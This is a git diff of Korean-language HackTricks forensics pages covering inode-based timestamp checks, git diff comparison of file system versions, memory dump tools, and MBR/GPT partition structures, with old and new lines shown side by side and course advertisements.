{% hint style="info" %} {% hint style="info" %}
**공격자**가 **파일을 수정**하여 **파일이 정상적으로 보이도록 시간을 조작**할 수 있지만 **inode**를 수정할 수는 없습니다. 만약 **파일**이 동일한 폴더 내의 다른 파일들과 **동일한 시간에 생성 및 수정**되었다는 것을 나타내지만 **inode**가 **예상치 못하게 더 크다면**, 해당 **파일의 타임스탬프가 수정**된 것입니다. 공격자가 **파일**이 **합법적으로 보이도록** **시간**을 **수정**할 수 있지만, **inode**는 **수정**할 수 없다는 점에 유의하십시오. 동일한 폴더의 나머지 파일과 **동일한 시간**에 생성 및 수정된 것으로 표시된 **파일**을 발견했지만 **inode**가 **예상보다 더 크면**, 해당 **파일의 타임스탬프가 수정된 것입니다**.
{% endhint %} {% endhint %}
## 다른 파일 시스템 버전의 파일 비교 ## 서로 다른 파일 시스템 버전 비교
### 파일 시스템 버전 비교 요약 ### 파일 시스템 버전 비교 요약
파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다: 파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다:
* **새 파일을 찾으려면**, 두 디렉토리를 비교합니다: * **새 파일을 찾으려면**, 두 디렉토리를 비교하십시오:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
* **수정된 내용에 대해**, 특정 라인을 무시하고 변경 사항을 나열하십시오: * **수정된 콘텐츠에 대해**, 특정 라인을 무시하고 변경 사항을 나열하십시오:
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
* **삭제된 파일 감지**: * **삭제된 파일 감지하기 위해**:
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **필터 옵션**(`--diff-filter`)은 추가된(`A`), 삭제된(`D`), 또는 수정된(`M`) 파일과 같이 특정 변경 사항으로 좁히는 데 도움이 됩니다. * **필터 옵션** (`--diff-filter`)은 추가된 (`A`), 삭제된 (`D`), 또는 수정된 (`M`) 파일과 같은 특정 변경 사항으로 좁히는 데 도움이 됩니다.
* `A`: 추가된 파일 * `A`: 추가된 파일
* `C`: 복사된 파일 * `C`: 복사된 파일
* `D`: 삭제된 파일 * `D`: 삭제된 파일
* `M`: 수정된 파일 * `M`: 수정된 파일
* `R`: 이름이 바뀐 파일 * `R`: 이름이 변경된 파일
* `T`: 유형 변경 (예: 파일에서 심볼릭 링크로) * `T`: 유형 변경 (예: 파일에서 심볼릭 링크로)
* `U`: 병합되지 않은 파일 * `U`: 병합되지 않은 파일
* `X`: 알 수 없는 파일 * `X`: 알 수 없는 파일
* `B`: 손상된 파일 * `B`: 손상된 파일
## 참고 자료 ## 참고 문헌
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **책: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** * **책: Linux 시스템을 위한 악성코드 포렌식 필드 가이드: 디지털 포렌식 필드 가이드**
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>제로에서 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
**사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! **사이버 보안 회사**에서 일하고 계신가요? **HackTricks에 귀사의 광고를 보고 싶으신가요**? 아니면 **PEASS의 최신 버전에 접근하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**PEASS 패밀리**](https://opensea.io/collection/the-peass-family), 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 받으세요.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)**가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **참여하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **Twitter에서 저를 팔로우하세요** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**해킹 트릭을 공유하려면** [**hacktricks 레포**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요.** **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화하세요**.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,69 +1,75 @@
# 메모리 덤프 분석 # 메모리 덤프 분석
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 **제로**부터 **히어로**가 되는 **AWS 해킹** 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여**하세요.
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다. [**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식 증진**이라는 사명을 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## 시작 ## 시작
pcap 내에서 **악성 코드**를 **검색**하기 시작하세요. [**악성 코드 분석**](../malware-analysis.md)에서 언급된 **도구**를 사용하세요. pcap 내에서 **악성코드**를 **검색**하기 시작하세요. [**악성코드 분석**](../malware-analysis.md)에서 언급된 **도구**를 사용하세요.
## [Volatility](volatility-cheatsheet.md) ## [볼라틸리티](volatility-cheatsheet.md)
**Volatility는 메모리 덤프 분석을 위한 주요 오픈 소스 프레임워크**입니다. 이 Python 도구는 외부 소스 또는 VMware VM의 덤프를 분석하여 덤프의 OS 프로필에 따라 프로세스 및 암호와 같은 데이터를 식별합니다. 플러그인으로 확장 가능하여 포렌식 조사에 매우 다재다능합니다. **볼라틸리티는 메모리 덤프 분석을 위한 주요 오픈 소스 프레임워크입니다**. 이 Python 도구는 외부 소스 또는 VMware VM에서 덤프를 분석하여 프로세스 및 비밀번호와 같은 데이터를 덤프의 OS 프로필에 따라 식별합니다. 플러그인으로 확장 가능하여 포렌식 조사에 매우 유용합니다.
[**여기에서 치트 시트를 찾을 수 있습니다**](volatility-cheatsheet.md) [**여기에서 치트시트를 찾으세요**](volatility-cheatsheet.md)
## 미니 덤프 충돌 보고서 ## 미니 덤프 크래시 보고서
덤프가 작을 때(몇 KB, 아마도 몇 MB)라면 미니 덤프 충돌 보고서이며 메모리 덤프가 아닙니다. 덤프가 작을 경우(몇 KB 또는 몇 MB 정도) 이는 아마도 미니 덤프 크래시 보고서일 것이며 메모리 덤프가 아닙니다.
![](<../../../.gitbook/assets/image (532).png>) ![](<../../../.gitbook/assets/image (532).png>)
Visual Studio가 설치되어 있다면 이 파일을 열 프로세스 이름, 아키텍처, 예외 정보 및 실행 중인 모듈과 같은 기본 정보를 바인딩할 수 있습니다. Visual Studio가 설치되어 있다면 이 파일을 열 프로세스 이름, 아키텍처, 예외 정보 및 실행 중인 모듈과 같은 기본 정보를 바인딩할 수 있습니다:
![](<../../../.gitbook/assets/image (263).png>) ![](<../../../.gitbook/assets/image (263).png>)
예외를 로드하고 디컴파일된 명령 볼 수도 있습니다. 예외를 로드하고 디컴파일된 명령어를 볼 수도 있습니다.
![](<../../../.gitbook/assets/image (142).png>) ![](<../../../.gitbook/assets/image (142).png>)
![](<../../../.gitbook/assets/image (610).png>) ![](<../../../.gitbook/assets/image (610).png>)
어쨌든, Visual Studio는 덤프의 심도 분석을 수행하기에는 최적의 도구가 아닙니다. 어쨌든, Visual Studio는 덤프의 깊이 있는 분석을 수행하기 위한 최상의 도구가 아닙니다.
덤프를 **깊이 검사**하기 위해 **IDA** 또는 **Radare**를 사용하여 열어야 합니다. **IDA** 또는 **Radare**를 사용하여 **깊이** 있게 검사해야 합니다.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다. [**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식 증진**이라는 사명을 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 **제로**부터 **히어로**가 되는 **AWS 해킹** 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여**하세요.
</details> </details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# 파티션/파일 시스템/카빙 # Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
## 파티션 ## Partitions
하드 드라이브 또는 **SSD 디스크에는 데이터를 물리적으로 분리하는 데 목적을 둔 다른 파티션**이 포함될 수 있습니다.\ 하드 드라이브 또는 **SSD 디스크는 데이터를 물리적으로 분리하기 위해 서로 다른 파티션을 포함할 수 있습니다**.\
디스크의 **최소** 단위는 **섹터**입니다(보통 512B로 구성됨). 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다. 디스크의 **최소** 단위는 **섹터**(일반적으로 512B로 구성됨)입니다. 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다.
### MBR (마스터 부트 레코드) ### MBR (마스터 부트 레코드)
이것은 **부트 코드의 446B 이후 디스크의 첫 번째 섹터에 할당**됩니다. 이 섹터는 PC에게 파티션이 무엇이며 어디에서 마운트해야 하는지 알려주는 데 중요합니다.\ 부트 코드의 446B 이후 **디스크의 첫 번째 섹터에 할당됩니다**. 이 섹터는 PC에 어떤 파티션을 어디에서 마운트해야 하는지를 나타내는 데 필수적입니다.\
**4개의 파티션**(최대 **1개만 활성/부팅 가능**)을 허용합니다. 그러나 더 많은 파티션을 필요로 하는 경우 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 마지막 바이트는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성화될 수 있습니다.\ 최대 **4개의 파티션**을 허용합니다(최대 **1개**만 활성/**부팅 가능**). 그러나 더 많은 파티션이 필요하면 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 **마지막 바이트**는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성으로 표시할 수 있습니다.\
MBR은 **최대 2.2TB**를 허용합니다. MBR은 **최대 2.2TB**를 허용합니다.
![](<../../../.gitbook/assets/image (350).png>) ![](<../../../.gitbook/assets/image (350).png>)
![](<../../../.gitbook/assets/image (304).png>) ![](<../../../.gitbook/assets/image (304).png>)
MBR의 **바이트 440에서 443**까지는 **Windows 디스크 서명**을 찾을 수 있습니다(Windows를 사용하는 경우). 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows의 부팅이 방해될 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. MBR의 **440에서 443 바이트**에서 **Windows 디스크 서명**을 찾을 수 있습니다(Windows가 사용되는 경우). 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows가 부팅되지 않을 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (310).png>) ![](<../../../.gitbook/assets/image (310).png>)
**형식** **Format**
| 오프셋 | 길이 | 아이템 | | Offset | Length | Item |
| ----------- | ---------- | ------------------- | | ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | 부트 코드 | | 0 (0x00) | 446(0x1BE) | 부트 코드 |
| 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 | | 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 |
@ -44,26 +45,26 @@ MBR의 **바이트 440에서 443**까지는 **Windows 디스크 서명**을 찾
| 494 (0x1EE) | 16 (0x10) | 네 번째 파티션 | | 494 (0x1EE) | 16 (0x10) | 네 번째 파티션 |
| 510 (0x1FE) | 2 (0x2) | 서명 0x55 0xAA | | 510 (0x1FE) | 2 (0x2) | 서명 0x55 0xAA |
**파티션 레코드 형식** **Partition Record Format**
| 오프셋 | 길이 | 아이템 | | Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ | | --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) | | 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) |
| 1 (0x01) | 1 (0x01) | 시작 헤드 | | 1 (0x01) | 1 (0x01) | 시작 헤드 |
| 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) | | 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
| 3 (0x03) | 1 (0x01) | 시작 실린더 최하위 8 비트 | | 3 (0x03) | 1 (0x01) | 시작 실린더 최하위 8 비트 |
| 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = 리눅스) | | 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | 헤드 | | 5 (0x05) | 1 (0x01) | 종료 헤드 |
| 6 (0x06) | 1 (0x01) | 섹터 (비트 0-5); 실린더의 상위 비트 (6- 7) | | 6 (0x06) | 1 (0x01) | 종료 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
| 7 (0x07) | 1 (0x01) | 끝 실린더 최하위 8비트 | | 7 (0x07) | 1 (0x01) | 종료 실린더 최하위 8 비트 |
| 8 (0x08) | 4 (0x04) | 파티션 이전 섹터 (리틀 엔디안) | | 8 (0x08) | 4 (0x04) | 파티션 이전 섹터 (리틀 엔디안) |
| 12 (0x0C) | 4 (0x04) | 파티션 내 섹터 | | 12 (0x0C) | 4 (0x04) | 파티션 내 섹터 |
Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 얻어야 합니다(`fdisk`와 `p` 명령을 사용할 수 있음) Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 가져와야 합니다( `fdisk``p` 명령을 사용할 수 있습니다)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
런 다음 다음 코드를 사용하세요 리고 다음 코드를 사용하십시오.
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
@ -72,56 +73,56 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBA (논리 블록 주소 지정)** **LBA (논리 블록 주소 지정)**
**논리 블록 주소 지정** (**LBA**) 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 체계로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에 사용됩니다. LBA는 특히 간단한 선형 주소 지정 체계이며, **블록은 정수 인덱스에 의해 찾아집니다**. 첫 번째 블록은 LBA 0이며, 두 번째는 LBA 1이며, 이와 같이 계속됩니다. **논리 블록 주소 지정** (**LBA**) 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 방식으로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에 사용됩니다. LBA는 특히 간단한 선형 주소 지정 방식으로, **블록은 정수 인덱스로 위치가 지정되며**, 첫 번째 블록은 LBA 0, 두 번째 블록은 LBA 1 등으로 지정됩니다.
### GPT (GUID 파티션 테이블) ### GPT (GUID 파티션 테이블)
GUID 파티션 테이블인 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 알려져 있습니다. 파티션을 위한 **전역적으로 고유한 식별자**로 특징 지어지는 GPT는 여러 측면에서 두드러집니다: GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 선호됩니다. 파티션에 대한 **전 세계적으로 고유한 식별자**로 독특한 GPT는 여러 면에서 두드러집니다:
* **위치 및 크기**: GPT와 MBR 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**에서 작동하며, MBR의 32비트와 대조됩니다. * **위치 및 크기**: GPT와 MBR 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**로 작동하며, MBR은 32비트입니다.
* **파티션 한**: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용니다. * **파티션 **: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용할 수 있습니다.
* **파티션 이름**: 최대 36개의 유니코드 문자로 파티션 이름을 지정할 수 있습니다. * **파티션 이름**: 최대 36개의 유니코드 문자로 파티션 이름을 지정할 수 있습니다.
**데이터 탄력성과 복구**: **데이터 복원력 및 복구**:
* **중복성**: MBR과 달리 GPT는 파티션 및 부팅 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전체에 복제하여 데이터 무결성과 탄력성을 향상시킵니다. * **중복성**: MBR과 달리 GPT는 파티션 및 부트 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전반에 복제하여 데이터 무결성과 복원력을 향상시킵니다.
* **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 감지되면 GPT는 손상된 데이터를 다른 디스크 위치에서 복구하려고 시도합니다. * **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 손상이 감지되면 GPT는 다른 디스크 위치에서 손상된 데이터를 복구하려고 시도합니다.
**보호 MBR (LBA0)**: **보호 MBR (LBA0)**:
